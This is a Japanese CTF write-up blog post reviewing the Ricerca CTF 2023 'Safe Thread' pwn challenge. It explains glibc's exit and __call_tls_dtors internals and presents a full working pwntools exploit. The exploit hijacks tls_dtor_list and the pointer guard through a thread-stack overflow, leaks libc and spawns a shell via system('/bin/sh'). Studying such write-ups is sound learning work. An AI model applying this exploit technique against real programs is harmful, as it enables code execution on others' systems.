writeUP ↑↑↑

勉強会やCTFのwriteupをのこす(つもり)

Ricerca CTF 2023 解けなかった問題の復習

はじめに

先週Ricerca CTFのBOFSec, NEMUのwriteupを書きました。今回は解けなかったSafe Threadのwriteupを書きます(Oath-to-Orderはまた今度)。最後に参考にさせていただいたwriteupを載せておきます。(書いていただいた方、ありがとうございます!)

Safe Thread

ソースコードはこれです。

#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

pthread_t th;

#define read_n(buf, len)                              \
  {                                                   \
    ssize_t i, s;                                     \
    for (i = 0; i < len; i += s) {                    \
      s = read(STDIN_FILENO, buf + i, 0x40);          \
      if (s <= 0 || memchr(buf + i, '\n', s)) break;  \
    }                                                 \
  }

void *thread(void *_arg) {
  ssize_t len;
  char buf[0x10] = {};
  write(STDOUT_FILENO, "size: ", 6);
  read_n(buf, 0x10);
  len = atol(buf);
  write(STDOUT_FILENO, "data: ", 6);
  read_n(buf, len);
  exit(0);
}

int main() {
  alarm(180);
  pthread_create(&th, NULL, thread, NULL);
  pthread_join(th, NULL);
  return 0;
}

thread()がスレッドとして実行されています。thread()関数にがBOFがありますが、retする前にexit()が呼ばれて終わってしまうためROPにはつなげられません。この感じはどうやらexit()実行時に走る処理を書き換えるタイプの問題かなと予想ができます。では、exit()ソースコードを見てみましょう。 https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/exit.c#L141

void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

__run_exit_handlersの最初の方はこんな感じです。

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();

__call_tls_dtorsという関数が呼ばれていますね。これも追ってみましょう。

cxa_thread_atexit_impl.c - stdlib/cxa_thread_atexit_impl.c - Glibc source code (glibc-2.35) - Bootlin

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
    l_tls_dtor_count decrement.  That way, we protect this access from a
    potential DSO unload in _dl_close_worker, which happens when
    l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)

tls_dtor_listがNULLでなければ追加の処理をするといった内容です。今回の問題はスレッドに関する問題なので、TLSがThread Local Storageのことだとすれば関係がありそうです。 __call_tls_dtorsアセンブリだとこうなっています。

   0x00007fc4ffd7ad60 <+0>:     endbr64
   0x00007fc4ffd7ad64 <+4>:     push   rbp
   0x00007fc4ffd7ad65 <+5>:     push   rbx
   0x00007fc4ffd7ad66 <+6>:     sub    rsp,0x8
   0x00007fc4ffd7ad6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d301f]        # 0x7fc4fff4dd90
   0x00007fc4ffd7ad71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007fc4ffd7ad75 <+21>:    test   rbp,rbp
   0x00007fc4ffd7ad78 <+24>:    je     0x7fc4ffd7adbd <__GI___call_tls_dtors+93>
   0x00007fc4ffd7ad7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007fc4ffd7ad80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007fc4ffd7ad84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007fc4ffd7ad88 <+40>:    ror    rax,0x11
   0x00007fc4ffd7ad8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007fc4ffd7ad95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007fc4ffd7ad99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007fc4ffd7ad9d <+61>:    call   rax
   0x00007fc4ffd7ad9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007fc4ffd7ada3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007fc4ffd7adac <+76>:    mov    rdi,rbp
   0x00007fc4ffd7adaf <+79>:    call   0x7fc4ffd5d370 <free@plt>
   0x00007fc4ffd7adb4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007fc4ffd7adb8 <+88>:    test   rbp,rbp
   0x00007fc4ffd7adbb <+91>:    jne    0x7fc4ffd7ad80 <__GI___call_tls_dtors+32>
   0x00007fc4ffd7adbd <+93>:    add    rsp,0x8
   0x00007fc4ffd7adc1 <+97>:    pop    rbx
   0x00007fc4ffd7adc2 <+98>:    pop    rbp
   0x00007fc4ffd7adc3 <+99>:    ret

fsには何が入っているんでしょうか?この投稿によると、x86_64にはTLS(Thread Local Storage)のエントリが3つあり、そのうち2つはfsと`gs{を使ってアクセスができるとのことでしたが、メモリのどこにあるかはわかりませんでした。

writeupによるとスレッド用スタックはfsレジスタの指すTLSの下にあるので、BoFで書き換えできるとのことなので手動で探してみました。下記の長さで書き換えたとき、fs-0x58tls_dtor_listを書き換えることができます。(fs-0x58にあるとわかったのはmov rbp,QWORD PTR fs:[rbx]を実行したときのrbx`0x58だからです。)

    io.sendlineafter("size: ", "2010")
    io.sendlineafter("data: ", "a"*2010)

そして、tls_dtor_listを読み取るところまで進めましょう。

   0x00007fc4ffd7ad60 <+0>:     endbr64
   0x00007fc4ffd7ad64 <+4>:     push   rbp
   0x00007fc4ffd7ad65 <+5>:     push   rbx
   0x00007fc4ffd7ad66 <+6>:     sub    rsp,0x8
   0x00007fc4ffd7ad6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d301f]        # 0x7fc4fff4dd90
   0x00007fc4ffd7ad71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
=> 0x00007fc4ffd7ad75 <+21>:    test   rbp,rbp

この時のrbpの値が0xa6161です。つまり、最初に入力できるバッファからtls_dtor_listのポインタ(fs-0x58)までのオフセットは2008だとわかり、そこを書き換えればdtor_listrbp)を自由に操作できます。dtor_listに入っているのは関数ポインタを含む構造体なんですが、関数ポインタの部分は__call_tls_dtors内部でPTR_DEMANGLE()というマクロによって変形された後に関数のアドレスにならないといけません。このマクロはこんな処理をしています。

ror $2*LP_SIZE+1, reg;              //LP_SIZE=8
xor __pointer_chk_guard_local(%rip), reg
   mov    rdx,QWORD PTR [rbp+0x18]
   mov    rax,QWORD PTR [rbp+0x0]
   ror    rax,0x11
   xor    rax,QWORD PTR fs:0x30
   mov    QWORD PTR fs:[rbx],rdx
   mov    rdi,QWORD PTR [rbp+0x8]
   call   rax

xor rax,QWORD PTR fs:0x30に注目してください。現時点でfsレジスタの指すTLSを書き換えることができるので、fs+0x30ソースコードでいう__pointer_chk_guard_local(%rip))は書き換えることができます。つまりrax=0であればfs+0x30の値の関数ポインタがそのままcallされます。ではどのアドレスに書き換えるのがいいでしょうか?

ここで、rsiの値を見てみましょう。

gef➤  x/gx $rsi
0x7f4c1bdaa838 <__exit_funcs>:  0x00007f4c1bdabf00

これはlibc内の値(libc+ 0x21af00)なので、リークできればLibc baseが求められそうです。なのでwrite()などの第二引数を読み出し元にする関数を使いたいですね。ということで、thread()内にジャンプしてwrite()を呼び出すところから実行させます。

   0x00000000004012c3 <+173>:   mov    edi,0x1
   0x00000000004012c8 <+178>:   call   0x4010b0 <write@plt>

PIE無効なのはこのためだったんですね。ではfs+0x30を0x4012c3に書き換えればよさそうです。write()のサイズ(rdx)はmov rdx,QWORD PTR [rbp+0x18]で指定できるので、tls_dtor_listは+0x18に何か書いてある適当なアドレスにしておけばよさそうです。ということで、この時点でのexploitを書いていこうと思ったんですが、これをそのまま再現するとこんなコードで引っかかります。

   0x7f7fcac19ae9 <__pthread_disable_asynccancel+9> mov    rax, QWORD PTR fs:0x100x7f7fcac19af2 <__pthread_disable_asynccancel+18> mov    BYTE PTR [rax+0x972], 0x0

つまりaddr+0x972が書き込み可能なアドレス(ここではaddr=0x404028)をfs+0x10に入れとけば大丈夫です。では、この時点でのexploitを書いてみましょう。

offset_tls_call_dtor = 2008
offset_fs = offset_tls_call_dtor+0x58
def gen_payload(dtor_list, fs=0, fs_30=0):
    payload = b"a"*offset_tls_call_dtor
    payload += p64(dtor_list)
    payload += b"\0"*0x50
    payload += p64(fs)
    payload += b"\0"*0x8
    payload += p64(0x404028-0x972)
    payload += b"\0"*0x18
    payload += p64(fs_30)
    return len(payload), payload


def exploit():
    size, payload = gen_payload(0x404004, fs_30=0x4012c3)
    io.sendlineafter("size: ", str(size))
    io.sendlineafter("data: ", payload)

    leak = io.recv(8)
    leak_offset = 0x21af00
    libc.address = u64(leak) - leak_offset
    print("libc base: ", hex(libc.address))

次はシェルの起動までもっていきます。手順はさっきと同じような感じで、__call_tls_dtors内のcall raxsyystem()を発火させます。 まずBOFtls_dtor_listの書き換えをします。2回目は書き込み先のアドレスをlibc baseのアドレスから計算できます(libc.address - 0x4288)。なので、ここにdtor_listの偽の構造体を作ってそれを登録させます。1回目と違うのが、thread+213readで読み込むとき、tls_call_listのポインタまでの距離が0x98バイト遠くなっているので気を付けます。

では、偽の構造体の中身はどうしたらよいでしょうか。一度dtor_list構造体の定義を見てみましょう。

https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/cxa_thread_atexit_impl.c#L81

  struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

__call_tls_dtorsソースコードと見比べつつdtor_listの使い方をまとめるとこうなります。

オフセット 使い方
+0x0 関数ポインタ(DEMANGLE前)
+0x8 call raxの第一引数
+0x10
+0x18 次のdtor_list へのアドレス

よって、こんな感じの方針で行けそうですね。

  • +0x10"/bin/sh"を書き込む
  • +0x8+0x10のアドレスを書き込む
  • +0x0にDEMANGLE前のsystem()のアドレスを書き込む

DEMANGLEの処理を抜き出すとこうなっています。

   0x00007fc4ffd7ad84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007fc4ffd7ad88 <+40>:    ror    rax,0x11
   0x00007fc4ffd7ad8c <+44>:    xor    rax,QWORD PTR fs:0x30

つまり、DEMANGLE前の値は、

  • fs+0x30の値でXOR
  • その値を17bit左回転する

ことで作れます。fs+0x30は一回目のBOF0x4012c3を書き込んでいるのが残っているのでこれを使います。左17bitの回転は、pythonでは下位47bitを17bit左シフトした値と、元の値を47bit右シフト値とをORすることで再現できます

では最後に完成形のExploitを書いておきます。大方上の処理を実装しただけですが、system()のアドレスをそのまま書くとダメでした。理由はその後のdo_system()内で浮動小数レジスタの値をメモリにコピーするときに、アラインメントの問題が発生していたからでした。代わりにsystem+27のアドレスを使えばsub rsp, 8を避けられ、この問題が発生しなくなるのでそのようにしています。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
HOST = ""
PORT = 1337
# バイナリの使い分け
CHALL_BIN = "./chall"
CHALL_LIBC = "/usr/lib/x86_64-linux-gnu/libc.so.6"
context.terminal  = ['tmux', 'split-window', '-h']
context.log_level = "DEBUG"
gs = '''
b main
# b __call_tls_dtors
c
'''
# 問題バイナリはロードしておく
context.binary = ELF(CHALL_BIN, checksec=False)
elf = context.binary
libc = ELF(CHALL_LIBC, checksec=False)

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    elif args.LOCAL:
        return process([elf.path])
    else:
        return gdb.debug([elf.path], gdbscript=gs)

offset_tls_dtor_list = 2008
offset_fs = offset_tls_dtor_list+0x58

def unlock_pointer_chk(key, addr):
    xored = addr ^ key
    under_47 = 0x7fffffffffff & xored
    return (under_47 << 17) | (xored >> 47)


def gen_payload(prefix, dtor_list, fs_30=0):
    payload = b"a"*(offset_tls_dtor_list)
    payload += p64(dtor_list)
    payload += b"\0"*(offset_fs - len(payload))
    payload += b"fs+0x008" + b"fs+0x010"
    payload += p64(0x404028-0x972)
    payload += b"\0"*0x18
    payload += p64(fs_30)
    payload = prefix + payload
    return len(payload), payload


def exploit():
    thread_173 = 0x4012c3
    size, payload = gen_payload(b"", 0x404004, fs_30=thread_173)
    io.sendlineafter("size: ", str(size))
    io.sendlineafter("data: ", payload)

    leak = io.recv(8)
    leak_offset = 0x21af00
    libc.address = u64(leak) - leak_offset
    print("libc base: ", hex(libc.address))

    second_buf_addr = libc.address - 0x4288
    print("second_buf_addr: ", hex(second_buf_addr))
    fake_dtor_list = \
            p64(unlock_pointer_chk(thread_173, libc.symbols["system"]+27)) + \
            p64(second_buf_addr + 0x10) + b"/bin/sh\0"
    _, payload = \
            gen_payload(fake_dtor_list + b"p"*(0x98-len(fake_dtor_list)),\
            second_buf_addr)
    io.sendline(payload)

io = start()
exploit()
io.interactive()

終わりに

本当はOath-to-Orderもやろうと思っていたんですが、結構時間がかかってしまったのでいったんこれで形にしてします。ちゃんとGlibcソースコードを追ってpwnした経験が浅いので、今回はすごく丁寧に追ってみました。ちゃんとソースを追うと脆弱性発見力?Exploit力?が上がる気がしますね。Oath-to-Orderの方はまた別の機会にやろうと思います。それでは!

参考にしたwriteup

qwerty-po.github.io